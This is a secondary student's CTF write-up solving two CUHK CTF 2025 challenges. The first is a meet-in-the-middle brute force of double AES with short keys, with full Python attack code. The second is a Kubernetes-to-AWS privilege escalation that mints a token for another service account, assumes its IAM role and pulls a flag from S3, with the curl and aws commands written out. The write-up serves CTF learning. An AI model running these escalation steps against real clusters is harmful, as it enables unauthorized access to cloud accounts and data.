# **(write-up) CUHK CTF 2025**
Hey, I'm HarryBOB. A secondary student ctf player. I would like to share my solutions to two challenges **(crypto/two-easy and Cloud Security/infinity-token — daemon slayer: k∞s)** I managed to solve with abit of AI assistance.
I am very happy that I finished top10 in the CUHK CTF, and in this writeup, I aim to give you the mindset and actions I took to solve the challenges. I hope to participate in more CTFs in the future and perform better next year!
[TOC]
## **Crypto/two easy**

Taking a look at the challenge description, we can find keywords such as "AES" and chaining AES together, we can also find keywords such as "keys smaller". Implying maybe I can use a bruteforce attack to try all the possible key?
First of all, we should download the provided files.
We can see clearly there is only two files provided, one named too_ez.py and one named output.txt
too_ez.py:

output.txt:

When I saw the Flag:xxx inside of the output.txt I immedietly think that its the output of the python code(too_ez.py) hence named output.txt
At this point I am pretty sure I know the whole question and what to do next, the question basicly asks us to revert the output.txt back into the original form.
### **Full Code Breakdown**

1. The code firstly reads the flag from a file named flag.txt (ofc we can't see)
2. Then the code generates key_1 and key_2 but only using 3 random bytes? The comments above random key generation part suggest that this encryption method is vulnurble, as author often add "Rhetorical question" in the part that have vulnurbility
3. The code then generates two AES cipher using the two keys made earlier
4. The code uses cipher_1 to encrypt the flag, then used cipher_2 to encrypt further encrypt it again. Essentially nesting the encryption.
5. The code then prints out the encrypted flag (the one we can see in output.txt)
### **Key Observations**
Usually AES encryption uses atleast 128bits to encrypt the data(its my first time dealing with AES in ctf, so alot of googling is required lol)

Looking at the code above, we can see that key_1 and key_2 only have 3 random byte generated and have 13 byte for padding.
This means each key only have a key length of 24 bits (`3*8=24`) this means we can bruteforce the 2^24(`16777216`) combinations?
The program later makes up for the short key by encrypting the data twice using both keys, so if we try to bruteforce all the key combinations, it will take us `(2^24)(2^24)` times. Which is somewhat viable.
If we try to brute for `2^48` times, our computer will need to run roughly 1e15 operation, suppose our computer can run 1e9 operation per seconds. We can bruteforce the key combination within 12 days, but for this ctf challenge, that is too slow!
### **Solution**
#### **Step1: Meet-in-the-middle-attack**
To further improve the solution we got from above, we need to use the "meet-in-the-middle-attack"
The meet in the middle attack basicly works like this:
let `E_k1(stuff)` = encrypt stuff with the key k1
let `E_k2(stuff)` = encrypt stuff with the key k1
let `D_k2(stuff)` = decrypt stuff with the key k2
The original code wrote a encryption program like this:
`encrypted = E_k2(E_k1(flag))`
if we rearrange the term, we can get this:
`D_k2(encrypted) = E_k1(flag)`
But this still doesn't get us anywhere, as we still don't know what flag is!
#### **Step2: Notice the buffer**
Thus we can do it will something we do know, the padding:
Notice in the code the line `assert len(flag) % 16 == 0` means the flag will be a multiple of 16.
So during the encryption, PKCS#7 will add a full block of `0x10` byte at the end.
Making it encrypt this: `[flag][padding block]`
Padding block: `b'\x10' * 16`
Looking at the equation above, we can transform it into:
`D_k2(encrypted_buffer) = E_k1(buffer)`
Where we already know what buffer contains of.
#### **Step3: The attack stratergy**
1. Precomputation:
We can exaust all 2^24 possible combination of k1 and store E_k1(buffer) inside a dictionary for all possible k1
2. Meet-in-the-middle:
We can check each k2 and check if D_k2(encrypted_buffer) appeared before inside the dictionary of E_k1(buffer) since our equation says `D_k2(encrypted_buffer) = E_k1(buffer)` if we found a matching pair of k1 and k2, the result should match
3. Recover:
After getting the correct pair of k1 and k2, we can decrypt the encrypted code back into the flag. By doing `D_k1(D_k2(encrypted))` and we can get the flag back!
#### Step4: The attack code!
At this point, writing the code is too time consuming by youself(maybe arround 15mins) and the problem is simple enough to let AI do the work for us, heres the code that AI wrote:
```python
from Crypto.Cipher import AES
def main():
P3 = b'\x10' * 16
ciphertext_hex = "aa5f9a2a140bb018146632527270b364e56ee406760dad00229b33d1c71a5ae07a869bf26cd1790a1da8ad4be0ce5bd548bcda2d5917e23067846db51d67380d"
ciphertext_bytes = bytes.fromhex(ciphertext_hex)
C3 = ciphertext_bytes[-16:]
dict_X = {}
for i in range(2**24):
prefix = i.to_bytes(3, 'big')
key1 = prefix + b'\x69' * 13
cipher1 = AES.new(key1, AES.MODE_ECB)
X = cipher1.encrypt(P3)
dict_X[X] = key1
for j in range(2**24):
prefix2 = j.to_bytes(3, 'big')
key2 = prefix2 + b'\x96' * 13
cipher2 = AES.new(key2, AES.MODE_ECB)
Y = cipher2.decrypt(C3)
if Y in dict_X:
key1 = dict_X[Y]
cipher2_full = AES.new(key2, AES.MODE_ECB)
intermediate = cipher2_full.decrypt(ciphertext_bytes)
cipher1_full = AES.new(key1, AES.MODE_ECB)
plaintext = cipher1_full.decrypt(intermediate)
flag = plaintext[:-16]
print(flag.decode())
return
if __name__ == '__main__':
main()
```
After running the code, we get:

And that gives us the flag!
**Flag: cuhk25ctf{me37_1n_7h3_m1dd13_g0e5_8rrr_4bb4fb81}**
### **TL;DR**
Code use short key which is unsafe, use meet in the middle method to optimize the exhaust key method, then get flag.
## Cloud Security/infinity-token — daemon slayer: k∞s

Taking a look at the challenge description, we can see keywords such as "ServiceAccount" and a story?? Perhaps we need to gain control of the account "nakime" (since it was highlighted) to access the flag.
It's actually my first encountering Cloud Security in ctf, so all the steps following is heavily AI assisted.
Let's open up the file provided to us first:
There is only one file provided, and that is kubeconfig.yaml:

We can see there is many informations, such as "token" and "the server url". Acting as an entry point into the cloud server.
Lets do some reconnaissance first.
### Reconnaissance
Firstly let's do some preperation before taking a look inside the cloud server
Let's firstly export the kubeconfig using this command:
```bash
export KUBECONFIG=~/kubeconfig.yaml
```
Then we need to extract the player token for Kubernetes API calls later using this command:
```bash
TOKEN=$(yq eval '.users[0].user.token' kubeconfig.yaml) # Install yq if needed
```
Nice! Now we got the basic setup, we can do some basic Reconnaissance.
Firstly, let's try to list all the pods in infinity-castle using this command:
```bash
curl -k -H "Authorization: Bearer $TOKEN" \
https://2217560D8A76DCD08A204B66621B75E4.gr7.us-east-1.eks.amazonaws.com/api/v1/namespaces/infinity-castle/pods
```
After running the command, we get the following respond:

We can see in the "items" section there is nothing inside, meaning there is no pods inside of inifnity-castle. But we did establish connection with the server, meaning our token is valid.
Since listing pods doesn't work, let's try listing all the service accounts!
```bash
curl -k -H "Authorization: Bearer $TOKEN" \
https://2217560D8A76DCD08A204B66621B75E4.gr7.us-east-1.eks.amazonaws.com/api/v1/namespaces/infinity-castle/serviceaccounts
```
The respond for this is too long to be written here, but we can see some important sections.



As we can see, there is three account inside of the cloud server, named "default", "player" and "nakime".
Inside of the original kubeconfig.yaml, we can see that we currently have the player role, but inside of the problem discrption indicates we have to somehow get to "nakime" accounts.
With basic reconnaissance done, we will move on to checking for exploits to access "nakime" account.
### **Privilege Escalation**
In this part we will focus on how to gain access to the "nakime" account.
Firstly, lets check our own permission and see what we can do.
```bash
curl -k -H "Authorization: Bearer $TOKEN" \
https://2217560D8A76DCD08A204B66621B75E4.gr7.us-east-1.eks.amazonaws.com/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"infinity-castle"}}' \
-H "Content-Type: application/json"
```
Again, the output for this command is too long to be putten here. Therefore I would only show the most important part.

Here we can see that we have the ability to create serviceaccounts token.
Meaning that we can we can simply create a nakime token and login!
So let's do that!
Heres the command that creates a token for "nakime":
```bash
curl -k -H "Authorization: Bearer $TOKEN" \
https://2217560D8A76DCD08A204B66621B75E4.gr7.us-east-1.eks.amazonaws.com/api/v1/namespaces/infinity-castle/serviceaccounts/nakime/token \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"TokenRequest","spec":{"audiences":["sts.amazonaws.com"]}}' \
-H "Content-Type: application/json"
```

Here we can see that we have successfully created a token for "nakime"
let's store it in a variable called NAKIME_TOKEN for simple use later on.
```bash
NAKIME_TOKEN=<extracted-token>
```
Great! Now we got the token, but we still can't access anything yet. We need to Assume the IAM role by using this command:
```bash
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::946313059530:role/ds-k8s-infinity-irsa-infinity-castle \
--role-session-name ctf-session \
--web-identity-token $NAKIME_TOKEN \
--region us-east-1
```

Amazhing! Now we have the AccessKeyId, SecretAccessKey and Session token.
We can now login as "nakime", for the sake of simplicity, lets store them in some variables:
```bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>
export AWS_DEFAULT_REGION=us-east-1
```
We can verify this is correct by running
```bash
aws sts get-caller-identity
```
Which will get us

Confirming that we got access to the account!
### **Flag Recovery**
Now we got into the account and got all the permission, where actually is the flag?
Let's try to discover all the S3 Bucket names from ConfigMap(using the player token):
```bash
curl -k -H "Authorization: Bearer $TOKEN" \
https://2217560D8A76DCD08A204B66621B75E4.gr7.us-east-1.eks.amazonaws.com/api/v1/namespaces/infinity-castle/configmaps
```
After running this command, we can spot a bucket named "ds-k8s-infinity-flag-1757980242-f93750"

Let's try listing the content inside that bucket:
```bash
aws s3 ls s3://ds-k8s-infinity-flag-1757980242-f93750 --region us-east-11
```

After running this, we somehow get an error saying we are not authorized?
Hmm, since most flags in ctf are stored in flag.txt Let's try to see if there is a file named flag.txt inside the bucket.
Let's try to run the command
```bash
aws s3 cp s3://ds-k8s-infinity-flag-1757980242-f93750/flag.txt . --region us-east-1
```

Surprisingly, we are able to download the flag.txt! Let's try to cat it on our own computer.
```bash
cat flag.txt
```

Just like that, the flag is fonud!!!
**Flag:cuhk25ctf{n4k1m3_b1w4_01dc_w4rp_g4t3}**
### **TL;DR**
Three account, "nakime","player" and "defeult", we have create token permission, create "nakime" account. Use permission to get flag in bucket.
## Conclusion
Thanks to all the authors and organizers for making this ctf possible, and I loved the cloud security questions as I never encountered anything like it before.
Thanks for reading this writeup! I hope that this will be the first of many.